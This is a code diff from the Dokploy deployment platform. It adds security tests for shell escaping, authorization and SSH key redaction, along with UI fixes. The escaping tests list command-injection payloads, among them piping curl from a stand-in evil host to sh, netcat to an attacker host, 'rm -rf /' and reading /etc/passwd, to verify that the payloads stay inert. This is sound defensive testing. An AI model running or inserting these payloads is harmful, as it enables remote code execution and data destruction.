it("throws when the environment env of the snapshot is not passed", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables(fullContext.env, projectEnv),
|
||||
).toThrow("Invalid environment variable: environment.NODE_ENV");
|
||||
});
|
||||
|
||||
it("maintains precedence: service > environment > project on rollback", () => {
|
||||
const conflictingProjectEnv = `
|
||||
NODE_ENV=project
|
||||
API_URL=https://project.api.com
|
||||
`;
|
||||
|
||||
const conflictingEnvironmentEnv = `
|
||||
NODE_ENV=environment
|
||||
API_URL=https://environment.api.com
|
||||
`;
|
||||
|
||||
const rollbackEnv = `
|
||||
NODE_ENV=service
|
||||
PROJECT_API_URL=\${{project.API_URL}}
|
||||
ENVIRONMENT_API_URL=\${{environment.API_URL}}
|
||||
SELF_REFERENCE=\${{NODE_ENV}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
conflictingProjectEnv,
|
||||
conflictingEnvironmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=service",
|
||||
"PROJECT_API_URL=https://project.api.com",
|
||||
"ENVIRONMENT_API_URL=https://environment.api.com",
|
||||
"SELF_REFERENCE=service",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,89 @@
|
||||
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// How git-provider commands escape a single user value before it reaches the shell.
|
||||
const shellArg = (value: string) => quote([String(value ?? "")]);
|
||||
|
||||
// Payloads that, if reached a shell unescaped, would execute commands.
|
||||
const INJECTION_PAYLOADS = [
|
||||
"$(touch /tmp/pwned)",
|
||||
"`id`",
|
||||
"; rm -rf /",
|
||||
"&& curl evil.sh | sh",
|
||||
"| nc attacker 4444",
|
||||
"https://github.com/o/r.git$(whoami)",
|
||||
"main; wget http://evil",
|
||||
"$(cat /etc/passwd)",
|
||||
];
|
||||
|
||||
// Legit values that must survive escaping unchanged.
|
||||
const LEGIT_VALUES = [
|
||||
"main",
|
||||
"feature/login-v2",
|
||||
"release-1.2.3",
|
||||
"https://github.com/dokploy/dokploy.git",
|
||||
"https://gitlab.example.com/group/sub/project.git",
|
||||
];
|
||||
|
||||
describe("git provider shell escaping (quote)", () => {
|
||||
it("collapses every injection payload into a single literal token (no shell operators)", () => {
|
||||
for (const payload of INJECTION_PAYLOADS) {
|
||||
const parsed = parse(shellArg(payload));
|
||||
// A safely escaped value parses back to exactly the original string,
|
||||
// as ONE token. If escaping failed, parse() would emit operator
|
||||
// objects such as { op: ";" } or { op: "$(" } instead.
|
||||
expect(parsed).toEqual([payload]);
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves legitimate URLs and branch names intact", () => {
|
||||
for (const value of LEGIT_VALUES) {
|
||||
expect(parse(shellArg(value))).toEqual([value]);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloneGitRepository command (customGitUrl path)", () => {
|
||||
const buildClone = (customGitUrl: string, customGitBranch: string) =>
|
||||
cloneGitRepository({
|
||||
appName: "demo-app",
|
||||
customGitUrl,
|
||||
customGitBranch,
|
||||
customGitSSHKeyId: null,
|
||||
enableSubmodules: false,
|
||||
serverId: null,
|
||||
type: "application",
|
||||
});
|
||||
|
||||
// A malicious substring, once escaped, must survive parsing as inert literal
|
||||
// text and never as an executable command/operator. `parse()` turns command
|
||||
// substitution and control operators into { op } objects, so we assert the
|
||||
// injected marker only ever shows up inside a plain string token.
|
||||
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
|
||||
const tokens = parse(command);
|
||||
return tokens.some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
};
|
||||
|
||||
it("does not let a malicious customGitUrl inject shell operators", async () => {
|
||||
const command = await buildClone(
|
||||
"https://github.com/o/r.git$(touch /tmp/pwned)",
|
||||
"main",
|
||||
);
|
||||
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
|
||||
expect(command).toContain("git clone");
|
||||
});
|
||||
|
||||
it("does not let a malicious customGitBranch inject shell operators", async () => {
|
||||
const command = await buildClone(
|
||||
"https://github.com/o/r.git",
|
||||
"main; touch /tmp/pwned",
|
||||
);
|
||||
// The branch is a single quoted token, so its ";" contributes no extra
|
||||
// operator and `touch` never becomes a runnable statement.
|
||||
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
|
||||
expect(command).not.toContain("touch /tmp/pwned;");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,91 @@
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
|
||||
// assertGitProviderAccess) runs against controlled data. Mocking the exported
|
||||
// function would NOT intercept the intra-module call, so we mock one layer down.
|
||||
const mockDb = vi.hoisted(() => ({
|
||||
query: {
|
||||
gitProvider: {
|
||||
findMany: vi.fn(),
|
||||
},
|
||||
member: {
|
||||
findFirst: vi.fn(),
|
||||
},
|
||||
},
|
||||
}));
|
||||
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
|
||||
|
||||
const mockHasValidLicense = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
||||
hasValidLicense: mockHasValidLicense,
|
||||
}));
|
||||
|
||||
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
|
||||
|
||||
const ORG = "org-1";
|
||||
const USER = "user-member";
|
||||
const session = { userId: USER, activeOrganizationId: ORG };
|
||||
|
||||
// Provider owned by USER within ORG -> should be accessible.
|
||||
const providerMine = {
|
||||
gitProviderId: "gp-mine",
|
||||
userId: USER,
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
// Provider owned by someone else within ORG, not shared, not assigned.
|
||||
const providerOther = {
|
||||
gitProviderId: "gp-other",
|
||||
userId: "user-2",
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockHasValidLicense.mockResolvedValue(false);
|
||||
mockDb.query.gitProvider.findMany.mockResolvedValue([
|
||||
providerMine,
|
||||
providerOther,
|
||||
]);
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
|
||||
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: "org-2",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-other",
|
||||
organizationId: ORG,
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("allows a same-org provider the caller owns", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: ORG,
|
||||
}),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
|
||||
const err = await assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: "org-2",
|
||||
}).catch((e) => e);
|
||||
expect(err).toBeInstanceOf(TRPCError);
|
||||
});
|
||||
});
|
||||
@@ -55,6 +55,28 @@ describe("processLogs", () => {
|
||||
expect(result.data).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
|
||||
const entryWithoutRequestHost = sampleLogEntry.replace(
|
||||
/"RequestHost":"[^"]*",/,
|
||||
"",
|
||||
);
|
||||
|
||||
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
|
||||
|
||||
expect(() =>
|
||||
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
|
||||
).not.toThrow();
|
||||
|
||||
const result = parseRawConfig(
|
||||
mixedEntries,
|
||||
undefined,
|
||||
undefined,
|
||||
"traefik.me",
|
||||
);
|
||||
expect(result.totalCount).toBe(1);
|
||||
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
|
||||
});
|
||||
|
||||
it("should filter out Dokploy dashboard requests", () => {
|
||||
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
import { redactServerSshKey } from "@dokploy/server/services/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
|
||||
it("blanks the private key while keeping the rest of the ssh key intact", () => {
|
||||
const server = {
|
||||
serverId: "srv-1",
|
||||
name: "prod",
|
||||
sshKey: {
|
||||
sshKeyId: "key-1",
|
||||
publicKey: "ssh-ed25519 AAAA...",
|
||||
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
|
||||
},
|
||||
};
|
||||
|
||||
const redacted = redactServerSshKey(server);
|
||||
|
||||
expect(redacted.sshKey.privateKey).toBe("");
|
||||
// Non-secret fields and the surrounding record must survive untouched.
|
||||
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
|
||||
expect(redacted.serverId).toBe("srv-1");
|
||||
expect(redacted.name).toBe("prod");
|
||||
});
|
||||
|
||||
it("does not mutate the original record", () => {
|
||||
const server = {
|
||||
serverId: "srv-1",
|
||||
sshKey: { privateKey: "top-secret" },
|
||||
};
|
||||
redactServerSshKey(server);
|
||||
expect(server.sshKey.privateKey).toBe("top-secret");
|
||||
});
|
||||
|
||||
it("is a no-op when the server has no ssh key", () => {
|
||||
const server = { serverId: "srv-2", sshKey: null };
|
||||
expect(redactServerSshKey(server)).toEqual(server);
|
||||
});
|
||||
|
||||
it("handles a record without a loaded sshKey relation", () => {
|
||||
// e.g. server.update returns the plain row where sshKey is not populated.
|
||||
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
|
||||
expect(redactServerSshKey(server)).toEqual(server);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Mirrors how getNodeInfo builds its command in services/docker.ts:
|
||||
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
|
||||
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
|
||||
// whether the nodeId payload can break out of the command, not real docker.
|
||||
const buildCommand = (nodeId: string) =>
|
||||
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
|
||||
|
||||
const INJECTION_NODE_IDS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"; touch %MARK%",
|
||||
"abc | touch %MARK%",
|
||||
"&& touch %MARK%",
|
||||
];
|
||||
|
||||
describe("getNodeInfo nodeId command injection", () => {
|
||||
it("does not execute injected commands from the nodeId", () => {
|
||||
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
|
||||
for (const template of INJECTION_NODE_IDS) {
|
||||
if (existsSync(mark)) rmSync(mark);
|
||||
const nodeId = template.replace("%MARK%", mark);
|
||||
try {
|
||||
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// A non-zero exit from the no-op is fine; we only care about the marker.
|
||||
}
|
||||
expect(existsSync(mark)).toBe(false);
|
||||
}
|
||||
if (existsSync(mark)) rmSync(mark);
|
||||
});
|
||||
|
||||
it("keeps a legitimate node id intact as a single literal token", () => {
|
||||
const nodeId = "abc123def456";
|
||||
expect(quote([nodeId])).toBe(nodeId);
|
||||
});
|
||||
});
|
||||
@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
|
||||
"a.b.c.example.co",
|
||||
"xn--80ak6aa92e.com",
|
||||
"123.example.com",
|
||||
"example",
|
||||
"dokploy-server",
|
||||
"localhost",
|
||||
])("accepts valid hostname %s", (host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
|
||||
});
|
||||
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
|
||||
"bbn_client.example.com",
|
||||
"-example.com",
|
||||
"example-.com",
|
||||
"example",
|
||||
"exa mple.com",
|
||||
"example..com",
|
||||
"",
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock the permission + server helpers the wss authorizer composes.
|
||||
const mockHasPermission = vi.hoisted(() => vi.fn());
|
||||
const mockFindMember = vi.hoisted(() => vi.fn());
|
||||
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server/services/permission", () => ({
|
||||
hasPermission: mockHasPermission,
|
||||
findMemberByUserId: mockFindMember,
|
||||
checkServiceAccess: mockCheckServiceAccess,
|
||||
}));
|
||||
|
||||
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server", () => ({
|
||||
getAccessibleServerIds: mockGetAccessibleServerIds,
|
||||
}));
|
||||
|
||||
import {
|
||||
canAccessDockerOverWss,
|
||||
canAccessTerminalOverWss,
|
||||
} from "@/server/wss/authorize";
|
||||
|
||||
const USER = { id: "user-1" };
|
||||
const SESSION = { activeOrganizationId: "org-1" };
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe("canAccessDockerOverWss", () => {
|
||||
it("denies when there is no user or session", async () => {
|
||||
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
|
||||
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
|
||||
});
|
||||
|
||||
it("denies a member without docker permission", async () => {
|
||||
mockHasPermission.mockResolvedValue(false);
|
||||
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
|
||||
});
|
||||
|
||||
it("allows when the caller has docker permission (no server)", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
|
||||
});
|
||||
|
||||
it("denies a remote server the caller cannot access, even with docker permission", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
|
||||
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
|
||||
});
|
||||
|
||||
it("allows a remote server the caller can access", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||
});
|
||||
|
||||
it("denies when the container belongs to a service the caller cannot access", async () => {
|
||||
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
|
||||
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("allows service access even without docker permission or server access", async () => {
|
||||
// A member granted the service but without canAccessToDocker, whose
|
||||
// service runs on a server they were not individually granted, must still
|
||||
// read its logs — matches application.readLogs (service access only).
|
||||
mockHasPermission.mockResolvedValue(false);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set());
|
||||
mockCheckServiceAccess.mockResolvedValue(undefined);
|
||||
expect(
|
||||
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
|
||||
).toBe(true);
|
||||
// Service path is authoritative — it must not fall through to docker/server.
|
||||
expect(mockHasPermission).not.toHaveBeenCalled();
|
||||
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("canAccessTerminalOverWss", () => {
|
||||
it("denies the local host terminal to a plain member", async () => {
|
||||
mockFindMember.mockResolvedValue({ role: "member" });
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
|
||||
});
|
||||
|
||||
it("allows the local host terminal to an owner", async () => {
|
||||
mockFindMember.mockResolvedValue({ role: "owner" });
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
|
||||
});
|
||||
|
||||
it("allows the local host terminal to an admin", async () => {
|
||||
mockFindMember.mockResolvedValue({ role: "admin" });
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
|
||||
});
|
||||
|
||||
it("gates a remote server terminal on server access", async () => {
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
|
||||
// role lookup must not be needed for the remote path
|
||||
expect(mockFindMember).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -63,6 +63,9 @@ export const ShowDeployments = ({
|
||||
const [activeLog, setActiveLog] = useState<
|
||||
RouterOutputs["deployment"]["all"][number] | null
|
||||
>(null);
|
||||
const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
|
||||
Set<string>
|
||||
>(new Set());
|
||||
const { data: deployments, isPending: isLoadingDeployments } =
|
||||
api.deployment.allByType.useQuery(
|
||||
{
|
||||
@@ -81,7 +84,7 @@ export const ShowDeployments = ({
|
||||
api.rollback.rollback.useMutation();
|
||||
const { mutateAsync: killProcess, isPending: isKillingProcess } =
|
||||
api.deployment.killProcess.useMutation();
|
||||
const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
|
||||
const { mutateAsync: removeDeployment } =
|
||||
api.deployment.removeDeployment.useMutation();
|
||||
|
||||
// Cancel deployment mutations
|
||||
@@ -408,6 +411,11 @@ export const ShowDeployments = ({
|
||||
description="Are you sure you want to delete this deployment? This action cannot be undone."
|
||||
type="default"
|
||||
onClick={async () => {
|
||||
setRemovingDeploymentIds((deploymentIds) => {
|
||||
const nextDeploymentIds = new Set(deploymentIds);
|
||||
nextDeploymentIds.add(deployment.deploymentId);
|
||||
return nextDeploymentIds;
|
||||
});
|
||||
try {
|
||||
await removeDeployment({
|
||||
deploymentId: deployment.deploymentId,
|
||||
@@ -415,13 +423,25 @@ export const ShowDeployments = ({
|
||||
toast.success("Deployment deleted successfully");
|
||||
} catch (error) {
|
||||
toast.error("Error deleting deployment");
|
||||
} finally {
|
||||
setRemovingDeploymentIds((deploymentIds) => {
|
||||
const nextDeploymentIds = new Set(
|
||||
deploymentIds,
|
||||
);
|
||||
nextDeploymentIds.delete(
|
||||
deployment.deploymentId,
|
||||
);
|
||||
return nextDeploymentIds;
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
isLoading={isRemovingDeployment}
|
||||
isLoading={removingDeploymentIds.has(
|
||||
deployment.deploymentId,
|
||||
)}
|
||||
>
|
||||
Delete
|
||||
<Trash2 className="size-4" />
|
||||
|
||||
@@ -209,7 +209,9 @@ export const createColumns = ({
|
||||
</Badge>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-xs">
|
||||
{validationState?.error ? (
|
||||
{validationState?.isValid && validationState?.message ? (
|
||||
<p>{validationState.message}</p>
|
||||
) : validationState?.error ? (
|
||||
<div className="flex flex-col gap-1">
|
||||
<p className="font-medium text-red-500">Error:</p>
|
||||
<p>{validationState.error}</p>
|
||||
|
||||
@@ -626,7 +626,10 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
</Badge>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-xs">
|
||||
{validationState?.error ? (
|
||||
{validationState?.isValid &&
|
||||
validationState?.message ? (
|
||||
<p>{validationState.message}</p>
|
||||
) : validationState?.error ? (
|
||||
<div className="flex flex-col gap-1">
|
||||
<p className="font-medium text-red-500">
|
||||
Error:
|
||||
|
||||
@@ -60,14 +60,16 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
const currentBuildArgs = form.watch("buildArgs");
|
||||
const currentBuildSecrets = form.watch("buildSecrets");
|
||||
const currentCreateEnvFile = form.watch("createEnvFile");
|
||||
const { isDirty } = form.formState;
|
||||
const hasChanges =
|
||||
currentEnv !== (data?.env || "") ||
|
||||
currentBuildArgs !== (data?.buildArgs || "") ||
|
||||
currentBuildSecrets !== (data?.buildSecrets || "") ||
|
||||
currentCreateEnvFile !== (data?.createEnvFile ?? true);
|
||||
|
||||
// Skip reset while editing so background refetches don't wipe edits
|
||||
useEffect(() => {
|
||||
if (data) {
|
||||
if (data && !isDirty) {
|
||||
form.reset({
|
||||
env: data.env || "",
|
||||
buildArgs: data.buildArgs || "",
|
||||
@@ -75,7 +77,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
createEnvFile: data.createEnvFile ?? true,
|
||||
});
|
||||
}
|
||||
}, [data, form]);
|
||||
}, [data, isDirty, form]);
|
||||
|
||||
const onSubmit = async (formData: EnvironmentSchema) => {
|
||||
mutateAsync({
|
||||
@@ -87,6 +89,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
})
|
||||
.then(async () => {
|
||||
toast.success("Environments Added");
|
||||
form.reset(formData);
|
||||
await refetch();
|
||||
})
|
||||
.catch(() => {
|
||||
|
||||
+26
-13
@@ -256,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
: isLoadingRepositories
|
||||
? "Loading...."
|
||||
: (repositories?.find(
|
||||
(repo) => repo.name === field.value.repo,
|
||||
(repo) =>
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner,
|
||||
)?.name ?? "Select repository")}
|
||||
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -283,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
<CommandGroup>
|
||||
{repositories?.map((repo) => (
|
||||
<CommandItem
|
||||
value={repo.name}
|
||||
value={`${repo.owner.username}/${repo.name}`}
|
||||
key={repo.url}
|
||||
onSelect={() => {
|
||||
form.setValue("repository", {
|
||||
@@ -294,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">{repo.name}</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.username}
|
||||
</span>
|
||||
@@ -303,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
repo.name === field.value.repo
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner
|
||||
? "opacity-100"
|
||||
: "opacity-0",
|
||||
)}
|
||||
@@ -350,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -378,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -438,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -493,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+28
-13
@@ -270,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
? "Loading...."
|
||||
: (repositories?.find(
|
||||
(repo: GiteaRepository) =>
|
||||
repo.name === field.value.repo,
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner,
|
||||
)?.name ?? "Select repository")}
|
||||
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -303,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
{repositories?.map((repo: GiteaRepository) => {
|
||||
return (
|
||||
<CommandItem
|
||||
value={repo.name}
|
||||
value={`${repo.owner.username}/${repo.name}`}
|
||||
key={repo.url}
|
||||
onSelect={() => {
|
||||
form.setValue("repository", {
|
||||
@@ -313,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">
|
||||
{repo.name}
|
||||
</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.username}
|
||||
</span>
|
||||
@@ -322,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
